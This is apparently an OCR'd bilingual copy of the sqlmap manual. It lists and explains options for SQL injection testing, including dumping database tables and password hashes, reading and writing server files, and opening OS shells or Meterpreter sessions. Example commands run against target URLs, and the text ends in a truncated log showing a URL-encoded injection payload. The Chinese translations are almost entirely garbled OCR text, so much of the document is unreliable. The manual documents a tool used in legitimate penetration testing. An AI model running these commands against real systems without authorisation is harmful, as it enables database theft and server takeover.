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### EASHERE
I Usage: python sqlmap.py [options]
Options:

I -h, --help Show basic help message and exit => E7~&NIHEA KB

| == YA

-hh Show advanced help message and exit => E/if v HEONTEAR T
#HEE B

--version Show program's version number and exit => EINFEF A
i)

-v VERBOSE Verbosity level: 0-6 (default 1)=> sqlmap b & /~{E &K
HIRFE
Target:

At least one of these options has to be provided to define the
target(s) => fEffiflsqlmapi®&# HtrlS Z/DaiH — A F 5k I

-d DIRECT Connection string for direct database connection =>
B4 A PR


af://n75
af://n92

-u URL, --url=URL Target URL (e.g.
"http://www.site.com/vuln.php?id=1") => R H#WKurl

-1 LOGFILE Parse target(s) from Burp or WebScarab proxy log
file => MBurpa& AR B AT B E A A H 55

-x SITEMAPURL Parse target(s) from remote sitemap(.xml) file =>
M IZE 5 ) 3 s B Ot A xm LS04 ) BB X A B A

-m BULKFILE Scan multiple targets given in a textual file => M
PR EEE S =R 7

-r REQUESTFILE Load HTTP request from a file => M XAFH EZHHTTP

request

-g GOOGLEDORK Process Google dork results as target URLs =>
google 3 Y45 SRAE Ny H Fr M ik

-c CONFIGFILE Load options from a configuration INI file => MIC
B i E

Request:

These options can be used to specify how to connect to the

target URL => | %1% T B A A G0 o) 3% 42 B Fr Hb kb 1

--method=METHOD Force usage of given HTTP method (e.g. PUT) =>
55 F B 45 1) 07 3% 42 H A
--data=DATA Data string to be sent through POST => JHE ¥ Hpost

3 2 1) H b

--param-del=PARA.. Character used for splitting parameter

values => FIF 4 BI85 05 54

--cookie=COOKIE HTTP Cookie header value => EEHTTP Cookie 3kH]
=l

--cookie-del=C00.. Character used for splitting cookie values
=> HT 7 #lcookieft I FFF


http://www.site.com/vuln.php?id=1

--load-cookies=L.. File containing cookies in Netscape/wget

format => f#iffINetscape/wget XM TS HMcookies

--drop-set-cookie Ignore Set-Cookie header from response => Z#}|

response J ffJSet-Cookielf k

--user-agent=AGENT HTTP User-Agent header value => http H /P {CH
Bd Sk A

--random-agent Use randomly selected HTTP User-Agent header

value => BN EBFWHTTPH P A E 5 L EH
--host=HOST HTTP Host header value => AL T Ehost{H

--referer=REFERER HTTP Referer header value => T3 Breferer3k
1B

-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For:
127.0.0.1") => A LLFFHTH Nk

--headers=HEADERS Extra headers (e.g. "Accept-Language:
fr\nETag: 123") => FIHRMEME Z 1%

--—auth-type=AUTH.. HTTP authentication type (Basic, Digest,
NTLM or PKI) => httpihiF 1

--auth-cred=AUTH.. HTTP authentication credentials
(name:password) => http& {7 iliF

--auth-file=AUTH.. HTTP authentication PEM cert/private key
file => http PEME M AIE MO ELAEH. FAHH

--ignore-401 Ignore HTTP Error 401 (Unauthorized) => ZAIHTTP
40145%%  (IEVERDD

--proxy=PROXY Use a proxy to connect to the target URL => fii f{/t
BIER H brib bk

--proxy-cred=PRO.. Proxy authentication credentials

(name:password) => AUE 5 4 56 ilF



--proxy-file=PRO.. Load proxy list from a file => M CHizERH
4

--ignore-proxy Ignore system default proxy settings => ZM A%
NN

--tor Use Tor anonymity network => {#Htor & % M %%

--tor-port=TORPORT Set Tor proxy port other than default => i
HoAth v 11710 3 t o r B ¥

--tor-type=TORTYPE Set Tor proxy type (HTTP (default), SOCKS4
or SOCKS5) => B TorftH#H=

--check-tor Check to see if Tor is used properly => fi&Tor&®H

&4 ?

--delay=DELAY Delay in seconds between each HTTP request =>
HTTPE 3R 2 18174 i JL AP 22 IR

--timeout=TIMEOUT Seconds to wait before timeout connection

(default 30) => FBIFH[A] 115 B

--retries=RETRIES Retries when the connection timeouts (default

3) => HI Z 5K EIK

--randomize=RPARAM Randomly change value for given parameter(s)

=> FEAL AL 4e A2 & 1 E

--safe-url=SAFEURL URL address to visit frequently during
testing => kA IR 37 Bl D% B2 URL

--safe-post=SAFE.. POST data to send to a safe URL => KiZIE#iH
post

--safe-req=SAFER.. Load safe HTTP request from a file => M fF
H L% 4 HTTP request

--safe-freq=SAFE.. Test requests between two visits to a given
safe URL => PHXIEW Ki%1E K 2 8347 MK



--skip-urlencode Skip URL encoding of payload data => Bk X}
payloadffJURL %4

--csrf-token=CSR.. Parameter used to hold anti-CSRF token => ¥
AR & B F4anti-CSRF

--csrf-url=CSRFURL URL address to visit to extract anti-CSRF
token => A HABMURLAKIM A 2GS H HAhFIanti-CSRF

--force-ssl Force usage of SSL/HTTPS => ffiHISSL/HTTPS

--hpp Use HTTP parameter pollution method => Xf HTTPE &i5% T

7N

--eval=EVALCODE Evaluate provided Python code before the
request (e.g."import hashlib; id2=hashlib.md5(id).hexdigest()")
=> KRikrequestHI A H H W Pythonf i — Ik

Optimization:

These options can be used to optimize the performance of sqlmap
=> XRERLUZE N T &Esqlmap D) HE

-0 Turn on all optimization switches => T H mENLIT X

--predict-output Predict common queries output => Tl fT A & HE
) Fan H
--keep-alive Use persistent HTTP(s) connections => {# FH%aE M

HTTPIE 4

--null-connection Retrieve page length without actual HTTP

response body => AKIEHTTP response R B & W 51

--threads=THREADS Max number of concurrent HTTP(s) requests
(default 1) => KM HLREL

Injection:



These options can be used to specify which parameters to test
for,provide custom injection payloads and optional tampering
scripts => XUk W2 H K45 E M8 2 B2 R i 40 8 RO A
payloadFl A 1% 1 7R ¥E I A&

-p TESTPARAMETER Testable parameter(s) => mJ ik 28 &

--skip=SKIP Skip testing for given parameter(s) => Bkid ks H
1) A% &

--skip-static Skip testing parameters that not appear to be
dynamic => BEiEMA A ZINE RS

--param-exclude=.. Regexp to exclude parameters from testing

(e.g. "ses") => far A 1E N HE B Ml b (0 2 4L

--dbms=DBMS Force back-end DBMS to this value => ik )5 & DBMSH
i F 25 X A
--dbms-cred=DBMS.. DBMS authentication credentials

(user:password) => DBMS & 7 4 iIF

--0s=0S Force back-end DBMS operating system to this value =>

I5IF f5 6 DBMS B O SIS F iX AN A

--invalid-bignum Use big numbers for invalidating values => fififj

HOEAR K 807 15 8 e B8y

--invalid-logical Use logical operations for invalidating

values => fii f & 42 HAE N LA HIE

--invalid-string Use random strings for invalidating values =>

FH R AL 7 55 5 AR O 1 T8 280 H

--no-cast Turn off payload casting mechanism => K Mpayload&Z!

& AL 1

--no-escape Turn off string escaping mechanism => M4 & ki
IRl



--prefix=PREFIX Injection payload prefix string => &7FEANK
payloadil I &l 2%

--suffix=SUFFIX Injection payload suffix string => V¥ Apayloadln
FE%

--tamper=TAMPER Use given script(s) for tampering injection

data => HZ5 I A v N B8R 31T IR Ve
Detection:

These options can be used to customize the detection phase =>

XTI T B s SR

--level=LEVEL Level of tests to perform (1-5, default 1) => ik
gk B UL A )

--risk=RISK Risk of tests to perform (1-3, default 1) => fG[a%
9 F@ IR 2% )

--string=STRING String to match when query is evaluated to True
=> B 45 Ry I A A AR AT UL

False => #if) 45 ROV 7 77 & 247 L A

--regexp=REGEXP Regexp to match when query is evaluated to True
=> ) 8 H A IE ) 2Rk k47 UL AT

--code=CODE HTTP code to match when query is evaluated to True

=> B NENXHTTP codeji# 4T VLD

--text-only Compare pages based only on the textual content =>

i A A A RE AT DT LE AR

--titles Compare pages based only on their titles => i#idtitleit
A7 T T B

I --not-string=NOT.. String to match when query is evaluated to

Techniques:

These options can be used to tweak testing of specific SQL

injection techniques => X2 H FXREKRMISQL injectioni AT fiM



--technique=TECH SQL injection techniques to use (default
"BEUSTQ") => ffi X JLFhSQLIE A A

--time-sec=TIMESEC Seconds to delay the DBMS response (default
5) => WHEIEIRENKIK [

--union-cols=UCOLS Range of columns to test for UNION query SQL
injection => & EUNIONTE ] ) Y 7 BL 3K

--union-char=UCHAR Character to use for bruteforcing number of

columns => & & % J 1 il 51 50 1 = B

--union-from=UFROM Table to use in FROM part of UNION query SQL
injection => i Z Al 3K45 I £ W1 £ 47 UNION A ify

--dns-domain=DNS.. Domain name used for DNS exfiltration attack

=> DNS i Xy Bt i 354

--second-order=S.. Resulting page URL searched for second-order

response => FMa [ 0T A Y URL 24T 2 1 3 4h — AN i B2

Fingerprint:

-f, --fingerprint Perform an extensive DBMS version fingerprint

=> K & Y DBMS IR A< 1) 48 4L

Enumeration:

These options can be used to enumerate the back-end database
management system information, structure and data contained in
the tables. Moreover you can run your own SQL statements

=>

IX L 38 AT LA AT AE A 25 DBMS IS B LA S fth B R B S5 Mg AN AS 2 4 AR ARt /T DL
FIR I SQLiE A1)

-a, --all Retrieve everything => &R ZBIHI3h1E
-b, --banner Retrieve DBMS banner => K ZDBMSIIR A5

--current-user Retrieve DBMS current user => £ ‘ZDBMSHI & 31
H P



--current-db Retrieve DBMS current database => ¥ ZDBMS 4| kb
% P

--hostname Retrieve DBMS server hostname => 1 ZDBMSJR %% %8 1 £ AL
& R

--is-dba Detect if the DBMS current user is DBA => £ illlDBMS 4 Hff
(I 7 2 75 /& DBA

--users Enumerate DBMS users => M ZEDBMSH J*

--passwords Enumerate DBMS users password hashes => #%DBMSH /-
00 1 e A

--privileges Enumerate DBMS users privileges => I Z5DBMSH /' AL
PR

--roles Enumerate DBMS users roles => M ZDBMSH P HIIhaEE?
--dbs Enumerate DBMS databases => M ZDBMSE I %
--tables Enumerate DBMS database tables => M A$DBMSHEHE & () %

--columns Enumerate DBMS database table columns => M Z$DBMSE
JE 1) 2 A %)

--schema Enumerate DBMS schema => M ZEDBMS ) =

--count Retrieve number of entries for table(s) => f&RAZPDH

x
--dump Dump DBMS database table entries => F#{DBMSH XA T 7£ ) %

--dump-all Dump all DBMS databases tables entries => F# T H M
®

--search Search column(s), table(s) and/or database name(s) =>

R R B E AR
--comments Retrieve DBMS comments => ¥ ZDBMSH R ?

-D DB DBMS database to enumerate => M ZSDBMSHI 4 &



-T TBL DBMS database table(s) to enumerate => MWZE

-C COL DBMS database table column(s) to enumerate => MZEEXRT K
|

-X EXCLUDECOL DBMS database table column(s) to not enumerate =>
AM R

-U USER DBMS user to enumerate => M ZEDBMSHIH /7

--exclude-sysdbs Exclude DBMS system databases when enumerating

tables => MZIN A RN R 405 E
--pivot-column=P.. Pivot column name => 2%l

--where=DUMPWHERE Use WHERE condition while table dumping => |
R B FIWHERE 1 £

--start=LIMITSTART First query output entry to retrieve => [#%{
I 326 £ 0 R B T 4| T %%

--stop=LIMITSTOP Last query output entry to retrieve => [ # I i
FI W6 B &5 R

--first=FIRSTCHAR First query output word character to retrieve
=> N EE LD F IS

--1last=LASTCHAR Last query output word character to retrieve =>

TR i FE LA T AT 45 R

--sql-query=QUERY SQL statement to be executed => ZEHATHISQLIE
&)

--sgl-shell Prompt for an interactive SQL shell => #ifTshell

--sql-file=SQLFILE Execute SQL statements from given file(s) =>
M STA: AT SQL T A

Brute force:

These options can be used to run brute force checks => HT®/

iz 2 ) 5 T



--common-tables Check existence of common tables => 1 & {F7F &
W table

--common-columns Check existence of common columns => &% W H

column

User-defined function injection:

These options can be used to create custom user-defined

functions => H T 1847 T B & X bR £ ) ik 1

--udf-inject Inject custom user-defined functions => i H B
E SCHIEN

--shared-1ib=SHLIB Local path of the shared library => A=
1) R 25 PR

File system access:

These options can be used to access the back-end database
management system underlying file system
=>

T 0  E B R G S AT 3RS

--file-read=RFILE Read a file from the back-end DBMS file
system => MDBMS i L S 4

--file-write=WFILE Write a local file on the back-end DBMS file
system => fFEDBMSH H A 4

--file-dest=DFILE Back-end DBMS absolute filepath to write to
=> fif 48 06 B 42 5 N SO

Operating system access:

These options can be used to access the back-end database
management system underlying operating system
=>

M X 8ERG N CFHTES



I DN N D N = S N S NS NS D NN

--0s-cmd=0SCMD Execute an operating system command => 1T &%y

4

AT
--os-shell Prompt for an interactive operating system shell =>
iz1Tshell

--0os-pwn Prompt for an O0OB shell, Meterpreter or VNC => 1&4T 0OB
shell metrepreter VNC

--os-smbrelay One click prompt for an 0O0B shell, Meterpreter or
VNC => —HBE#E{TsmbiFE A

--os-bof Stored procedure buffer overflow exploitation => —Ffhji

H i (SQL server)

--priv-esc Database process user privilege escalation => H /' #F

B TF

--msf-path=MSFPATH Local path where Metasploit Framework is
installed => #i Amsf %ML &

--tmp-path=TMPPATH Remote absolute path of temporary files
directory => iz #3148 X % 4%

indows registry access:

These options can be used to access the back-end database
management system Windows registry
=>

Windows | A] PAXFVEM R H#ATE AN
--reg-read Read a Windows registry key value => #ZHUE MR BE

--reg-add Write a Windows registry key value data => B A M*E
1

--reg-del Delete a Windows registry key value => filfx— /" NEME
[P AE

--reg-key=REGKEY Windows registry key => Faf NG &d —/7FEMER
T



--reg-value=REGVAL Windows registry key value => F#f ANiFEM*E
11

--reg-data=REGDATA Windows registry key value data => Faif AL
M 2% ) £ B

--reg-type=REGTYPE Windows registry key value type => Tz A{E
=R 25 A

General:

These options can be used to set some general working
parameters => WH —HiEHK S

-s SESSIONFILE Load session from a stored (.sqlite) file => M X
P B 2 1
-t TRAFFICFILE Log all HTTP traffic into a textual file => fHfT

BHTTPH [ ] @ 5 N A

--batch Never ask for user input, use the default behaviour =>

— EL i H BRI 1 T

--binary-fields=.. Result fields having binary values (e.g.

"digest”) => &5 R #8H — 23t AT 17

retrieval => RN X 75 4T 9% 0L

--crawl=CRAWLDEPTH Crawl the website starting from the target
URL => M H b5 3t ik I 46 1€ B k) 3

--crawl-exclude=.. Regexp to exclude pages from crawling (e.g.

"logout”) => JCH W uhif A IE U HE Bk 2 W 0T

--csv-del=CSVDEL Delimiting character used in CSV output
(default ",") => & XAECSVH i Hiz H 1+ 7F

--dump-format=DU.. Format of dumped data (CSV (default), HTML
or SQLITE) => #&%z4b T &M ZR TG

I --charset=CHARSET Force character encoding used for data



--eta Display for each output the estimated time of arrival =>

T 7 i Y T A B ]

M2,

--flush-session Flush session files for current target => %

EIRER TN TE 2

--forms Parse and test forms on target URL => 4 #7ll3k H #RURL
1) %

--fresh-queries Ignore query results stored in session file =>

BWERAF AR E RS R

--hex Use DBMS hex function(s) for data retrieval => fuZiff
hex BR B AT

--output-dir=0UT.. Custom output directory path => F & XiH K

H %

--parse-errors Parse and display DBMS error messages from

responses => E/NDBMS[HIE kARG B

--save=SAVECONFIG Save options to a configuration INI file =>
8 3% T £ A7 7€ o B SR

--scope=SCOPE Regexp to filter targets from provided proxy log
=> MACE H & o 1E W) 5 ik

--test-filter=TE.. Select tests by payloads and/or titles (e.g.
ROW) => Xt A ) sk fEpayload 24T i ik I P K

--test-skip=TEST.. Skip tests by payloads and/or titles (e.g.
BENCHMARK) => X4 A ) 2 {1 fEpay load H #E 47 1 & Ml ik

--update Update sqlmap => J}[%&Wlo( WV YJ

Miscellaneous: Z4 i

-z MNEMONICSUse short mnemonics (e.g. "flu,bat,ban,tec=EU") =>
i H 6 5

--alert=ALERT Run host 0S command(s) when SQL injection is
found => KILSQOLIFE AN IZ/T EHL. M cmd



--answers=ANSWERS Set question answers (e.g. "quit=N,follow=N")

=> MG R RRE T AT E

--beep Beep on question and/or when SQL injection is found =>

KILSQLIE ANfbee bee beeffilo( V )J

--cleanup Clean up the DBMS from sqlmap specific UDF and tables
=> JHEBRDBMS H ) sqlmapF ik 1 bR £ F1 R

--dependencies Check for missing (non-core) sqlmap dependencies

=> K 2T SQLMAP Bl 2 [ 44

--disable-coloring Disable console output coloring => S/l &

fa H A P €

--gpage=GOOGLEPAGE Use Google dork results from specified page
number => ff fgoogled® & 44 I KF % 19 M 1T %k

--identify-waf Make a thorough testing for a WAF/IPS/IDS
protection => XFTWAF Z %[ 347 46 Wl ] 428

--skip-waf Skip heuristic detection of WAF/IPS/IDS protection
=> BRI WAF I )3 A AR

--mobileImitate smartphone through HTTP User-Agent header => f¥&
97 FHLHIHTTP 3k

--offline Work in offline mode (only use session data) => &4
Hig 17
--purge-output Safely remove all content from output directory

=> Z2 MR HX TN E

--smart Conduct thorough tests only if positive heuristic(s) =>
(L NLTRE DN

S—

--sglmap-shell Prompt for an interactive sqlmap shell => i&1T

sgqlmap shell

--wizardSimple wizard interface for beginner users => XI T H]2¢¥&

] H B [ 3



a4 WO TEHER

Option: -v

This option can be used to set the verbosity level of output
messages. There exist seven levels of verbosity. The default
level is 1 in which information, warning, error, critical
messages and Python tracebacks (if any occur) are displayed.

=>

XA 8 WU R BB A5 B R B ot B0 BN Gl X
M TERKARFEE & Bk REEELUL Python HHIRMRE L&

e 0: Show only Python tracebacks, error and critical messages. =>
W BorPython HE 1R Bl & 5% DL AR (S B

e 1: Show also information and warning messages. => HMINER{ER
DL K % A 0 B

e 2: Show also debug messages. => MINE/RIFARX? HEE R

e 3: Show also payloads injected. => i /~iFE NMEHKpayload

e 4: Show also HTTP requests. => LB /RHTTPIE K kL

e 5: Show also HTTP responses’ headers. => & I/RHTTP[B]W 3k

e 6: Show also HTTP responses’' page content. => B NHTTPI[E] N ] T [H
%

A reasonable level of verbosity to further understand what
sglmap does under the hood is level 2, primarily for the
detection phase and the take-over functionalities. Whereas if
you want to see the SQL payloads the tools sends, level 3 is
your best choice. This level is also recommended to be used
when you feed the developers with a potential bug report, make
sure you send along with the standard output the traffic log
file generated with option -t.

=>

N T E U BB # sqlmap B JE AL RS U B Be #8144 @ IE 2215
B, WMBRARMERSQL payloadT KiEMIVEN FA3&IREUFHIERE, 75K
TR E — A REAFAEKIbught WAEFE IR XA B8 ZEHRIREM 1 -«
T e 25 A pl— AN Fr e R & H & S0


af://n723

In order to further debug potential bugs or unexpected
behaviours, we recommend you to set the verbosity to level 4 or
above. It should be noted that there is also a possibility to
set the verbosity by using the shorter version of this option
where number of letters v inside the provided switch (instead
of option) determines the verbosity level (e.g. -v instead of -
v 2, -vv instead of -v 3, -vvv instead of -v 4, etc.)

=>

T BRAR TN £ T TS (0 bug B E — e AR T T B0 AT A AT A AR B 4
ABRFE U M IR R L AR T LA 7E B B B R RS b
W-vRRE-v 2 -vwillE-v 32FEH

#4# HEBW

At least one of these options has be provided to set the
target(s).
=3

NHEm 2D EE—THET B s
Direct connection to the database => HEZEEHRIEE

Option: -d

Run sglmap against a single database instance. This option
accepts a connection string in one of following forms:

=>

Msqlmap EER £ HIEE FHSH0 T

e DBMS://USER:PASSWORD@DBMS IP:DBMS PORT/DATABASE NAME (MySQL,
Oracle, Microsoft SQL Server, PostgreSQL, etc.)
e DBMS://DATABASE FILEPATH (SQLite, Microsoft Access, Firebird,

etc.)

For example:

$ python sqlmap.py -d
"mysql://admin:admin@192.168.21.17:3306/testdb” -f --banner --

dbs --users


af://n770

Target URL => HFRURL

Option: -u or --url

Run sqglmap against a single target URL. This option requires a
target URL in following form:

=

fEsqlmapH & #: H brURL # Rk

http(s) ://targeturl[:port]/[...]

For example:

$ python sqglmap.py -u "http://www.target.com/vuln.php?id=1" -f

--banner --dbs --users

Parse targets from Burp or WebScarab proxy logs => MBurp WebScarab¥
IRELH b5

Option: -1

Rather than providing a single target URL, it is possible to
test and inject against HTTP requests proxied through Burp
proxy or WebScarab proxy.

=>

MBIt — A s FJURL R AT DL E i@ ik Burp MWebScarab ZEillif. JEA
HTTPiE 3K

This option requires an argument which is the proxy's HTTP
requests log file.
=>

XA IR EARR M —ANHTTPIG R H &
Parse targets from remote sitemap(.xml) file => Mxml3Z4 7 3RE H #5

Option: -x

A sitemap is a file where web admins can list the web page
locations of their site to tell search engines about the site
content’'s organization. You can provide a sitemap’'s location to

sglmap by using option -x (e.g. -x


http://www.target.com/vuln.php?id=1

http://www.target.com/sitemap.xml) so it could find usable
target URLs for scanning purposes.

=>

vl B — A Web & B G i YRR R 51 B O M L B A DU R B AR
RXAET AR AT LR KRR I — A SO R IR B 2 H M H ARURL

Scan multiple targets enlisted in a given textual file => HMHXMH+
124> B ix

Option: -m

Providing list of target URLs enlisted in a given bulk file,
sqlmap will scan each of those one by one.

=5

RMEEH RER HIRURLII A sqlmape — A — XA AT 47 45 4

option:

=>

N 4 X R Y — AT
www.targetl.com/vulnl.php?g=foobar
www.target2.com/vuln2.asp?id=1

| Sample content of a bulk file provided as an argument to this

www.target3.com/vuln3/id/1*

Load HTTP request from a file => M X HEEHTTPIE K

request from a textual file. That way you can skip usage of a
number of other options (e.g. setting of cookies, POSTed data,
etc).

=5

sqlmapt AT DU SO Hh e BOR A U IHT TP SR 3 A R 5t A 2 4 136 FH K & )
HAihZ% W cookies POST data Xtk

Sample content of a HTTP request file provided as an argument
to this option:

Option: -r
One of the possibilities of sglmap is loading of raw HTTP
| -



eI b | I S G AD WA
POST /vuln.php HTTP/1.1

Host: www.target.com

User-Agent: Mozilla/4.0
id=1

Note that if the request is over HTTPS, you can use this in
conjunction with switch --force-ssl to force SSL connection to
443/tcp. Alternatively, you can append :443 to the end of the
Host header value.

=>

HER WREREHHTTPSH) M A/RAI LA --force-ss1RAISSLi#ESE b
443/tcp BT AEsOSTRAE B 5 THI BR |- - 443

Process Google dork results as target addresses => Google® RZLREN
H 7 ik

Option: -g

It is also possible to test and inject on GET parameters based
on results of your Google dork.

=>>

R AT LAt Google M R 45 R 1 HIGET 2 Hfk il i& A7 v E N I H #5

This option makes sqglmap negotiate with the search engine its
session cookie to be able to perform a search, then sglmap will
retrieve Google first 100 results for the Google dork
expression with GET parameters asking you if you want to test
and inject on each possible affected URL.

=>

XA R sqlmap A R BEHF P2 EZAFAREIN MR RE2ER
google R 3| [ AT 100/ W BEAFAETE N I3l ] AR 72 75 23 X At AT T2 A7 1 N

For example:
I $ python sqglmap.py -g "inurl:\".php?id=1\""

Load options from a configuration INI file => MEE XA IKEEE


file:///C:/Users/ccccccc/AppData/Local/Temp/www.target.com

Option: -c

It is possible to pass user's options from a configuration INI
file, an example is sglmap.conf.

=>

R AB BT DAAE BiC B SRR X ik T AT i B

Note that if you provide other options from command line, those
are evaluated when running sqlmap and overwrite those provided
in the configuration file.

=

TR MRREmLSITPREA T SHILE 2 R E N E S A R & A
=i AEH

##d WEFRT K

These options can be used to specify how to connect to the
target URL.
=>

F Tt ] 3 #2 H R URL

HTTP method

Option: --method

sglmap automatically detects the proper HTTP method to be used
in HTTP requests. Nevertheless, in some cases, it is required
to force the usage of specific HTTP method (e.g. PUT) that is
not used by automatism. This is possible with usage of this
option (e.g. --method=PUT).

=>

sqlmap< H I KME & EBHTTP requestiI ik ARG HERKRBHT 2FE
REHNRF E RIHTTP v XM I T Al /5 2R A XA~ 2k 10

HTTP data

Option: --data


af://n948

By default the HTTP method used to perform HTTP requests is
GET, but you can implicitly change it to POST by providing the
data to be sent in the POST requests. Such data, being those
parameters, are tested for SQL injection as well as any
provided GET parameters.

=>

BRNTEOL THTTPIGE K Y R GET Tk (H2 R A] LLIE B e BiPOST 5% Jf H. 2 fit
POSTU VA I B [A) A & X X A 4l #E 1T SQLIE A

For example:

$ python sglmap.py -u "http://www.target.com/vuln.php"” --

data="id=1" -f --banner --dbs --users
Parameter splitting character => {7 SH K ELR/F

Option: --param-del

There are cases when default parameter delimiter (e.g. &; in
GET and POST data) needs to be overwritten for sqlmap to be
able to properly split and process each parameter separately.
=>

RS T RATFHE EXENSE(GET POSTHY) K 4r MR FFEAT B ¥t IXHF
sqlmapZ BEIEEANZ Hr HIJF K IR b AT Ak 3

For example:

$ python sglmap.py -u "http://www.target.com/vuln.php"” --

n

data="query=foobar;id=1" --param-del=";" -f --banner --dbs --

users
HTTP Cookie header

Options and switch: --cookie, --cookie-del, --load-cookies and -
-drop-set-cookie

These options and switches can be used in two situations:

=5

3K A A 0 T AT DA X A e T


http://www.target.com/vuln.php
http://www.target.com/vuln.php

The web application requires authentication based upon cookies
and you have such data. => WebMN 7 EcookiefIINIE RIBHHAH XA
cookie

You want to detect and exploit SQL injection on such header
values. => PRAENS XA S AT v AN I

Either reason brings you to need to send cookies with sglmap
requests, the steps to go through are the following:

=>

XA ERiE T sqlmapfrequest 3k KiXcookie cookielf) A AT DL 4% I
DR &

Login to the application with your favourite browser. => A&
58 % 3¢ i

Get the HTTP Cookie from the browser's preferences or from the
HTTP proxy screen and copy to the clipboard. => J#id W % 8% 8k
HTTPAREE SR EX BIHTTP i cookiefd

Go back to your shell and run sqlmap by pasting your clipboard
as value of the option --cookie. => [A|F|shellHizfrsqlmap HIE
cookieM{ETK H] --cookie H

Note that the HTTP Cookie header values are usually separated
by a ; character, not by an &;. sglmap can recognize these as
separate sets of parameter=value too, as well as GET and POST
parameters. In case that the separation character is other than
; it can be specified by using option --cookie-del.

=5

EEHTTPk M cookie B WM H; 22 MAZs; sqlmapfEilAIGET POST
AR ARET 4 HoR I Z 8. IREBEIEM --cookie-del RFE 70 M cookie HI1E
1M A A& A

If at any time during the communication, the web application
responds with Set-Cookie headers, sqlmap will automatically use
its value in all further HTTP requests as the Cookie header.
sqlmap will also automatically test those values for SQL
injection. This can be avoided by providing the switch --drop-

set-cookie - sqlmap will ignore any coming Set-Cookie header.



=>
FELE RS I Bwebi ] Ki% T set-Cookiek MAsqlmapfEdE FRFA
FIHTTPIE Rk it set-cookieMIMEIE AcookieMIfH sqlmaps H 31 KX

Yl RE B IHEATIEN RAT LB --drop-set-cookieRiF Ik X FEAMHE & 2
MEE T RW B ) set-cookiel

Vice versa, if you provide a HTTP Cookie header with option --
cookie and the target URL sends an HTTP Set-Cookie header at
any time, sqlmap will ask you which set of cookies to use for
the following HTTP requests.

=>

RZ IR WRAIRH LI --cookieff b T —PMHTTPHcookiesk I H HARURLK
BT —/MHTTPHIset-Cookiek sqlmapsxf@7 4 T B W — A EAHTTPE
R

There is also an option --load-cookies which can be used to
provide a special file containing Netscape/wget formatted
cookies.

=>

PR A CLE I i i T - - 1oad-cookies RELHE & X H AT E & B
Netscape/wget# i ffcookie

Note that also the HTTP Cookie header is tested against SQL
injection if the --level is set to 2 or above. Read below for
details.

=>

FIRAREHIE Y --1evel Z RN T ZE T 20 E 23X cookieSHFHITSOLIEAN
HORIIRAY

HTTP User-Agent header HTTPH Wjuser-Agentk

Option and switch: --user-agent and --random-agent

By default sqlmap performs HTTP requests with the following
User-Agent header value:

=>

HIANEMN T sqlmapfE KIEHTTP User-aAgent kB &4 FH F % HI{E

sqlmap/1.0-dev-xxxxxxx (http://sglmap.org)



http://sqlmap.org/

However, it is possible to fake it with the option --user-agent
by providing custom User-Agent as the option's argument.
=>>

LR EATLLEE B O W E REFEAF M User-agentfd

Moreover, by providing the switch --random-agent, sqglmap will
randomly select a User-Agent from the ./txt/user-agents.txt
textual file and use it for all HTTP requests within the
session.

=>

4 AR ] LU S # F random-agent KA F sqlmapfE . /txt/user-
agents.txt HETHBMME FANGEEEH 2 FROSTFH B4 A
XAME

Some sites perform a server-side check of HTTP User-Agent
header value and fail the HTTP response if a valid User-Agent
is not provided, its value is not expected or is blacklisted by
a web application firewall or similar intrusion prevention
system. In this case sqlmap will show you a message as follows:
=>

A L W 3l X HTTPH B User-Agent [HBEAT AL I JF Bl 3 %5 4 Al B15 K 4% 5 25 Ao Ul
RGFINBLR RENEOAL R EREETIES XMELT REFEHWMTH

=
a I

Lhh:mm:20]1[ERROR] the target URL responded with an unknown HTTP
status code, try to force the HTTP User-Agent header with
option --user-agent or --random-agent

=>

HArURLIR [B] T AR FNBIHTTPARAS TS & FHHHTTP User-AgentB{# --random-

agent

Note that also the HTTP User-Agent header is tested against SQL
injection if the --level is set to 3 or above. Read below for
details.

=>

BER HRAEA--1levelB R AL LWL & H B user-Agent



HTTP Host header

Option: --host

You can manually set HTTP Host header value. By default HTTP
Host header is parsed from a provided target URL.

=>

PR L F B BHTTPH HostMIE BOAE M H A2 B frURLIE L 1H

Note that also the HTTP Host header is tested against SQL
injection if the --level is set to 5. Read below for details.
=

RELE--1evel {8 N5 I % A 2 fF
HTTP Referer header

Option: --referer

It is possible to fake the HTTP Referer header value. By
default no HTTP Referer header is sent in HTTP requests if not
explicitly set.

=>

PRA] PASTHTTPk i RefererHi& R R BARFHK K E T HTTPRIM P EAES K

%Referer%

Note that also the HTTP Referer header is tested against SQL
injection if the --level is set to 3 or above. Read below for
details.

=>

HEAEILAIUL LR RE T A S H--referer
Extra HTTP headers

Option: ‘--headers

It is possible to provide extra HTTP headers by setting the
option --headers. Each header must be separated by a newline
and it is much easier to provide them from the configuration
INI file. You can take a look at the sample sglmap.conf file
for such case.

=>



i --headers RATLAIRBEBIIMIHTTP L MK — 1 header #0008
—A7 BWAERE X ER /R LT T salmap. contREF L

Example against a MySQL target:

$ python sqglmap.py -u
"http://192.168.21.128/sglmap/mysgl/get _int.php?id=1" -z

"ign,flu,bat,tec=E" --headers="Host:www.target.com\nUser-

agent:Firefox 1.0" -v 5

XX :XX: HTTP request [#5]:

GET /sqlmap/mysql/get_int.php?id=1%20AND%20%28SELECT% %20FROM%28SELECT%20C\
OUNT%28%2A%29%2CCONCAT% x32a6161733a%2C%28SELECT%20%28CASE%20WHEN%20% %20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\

%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\

%20%20%20%20%202%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\

%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3D%20%20%20%20%20%20%20%\

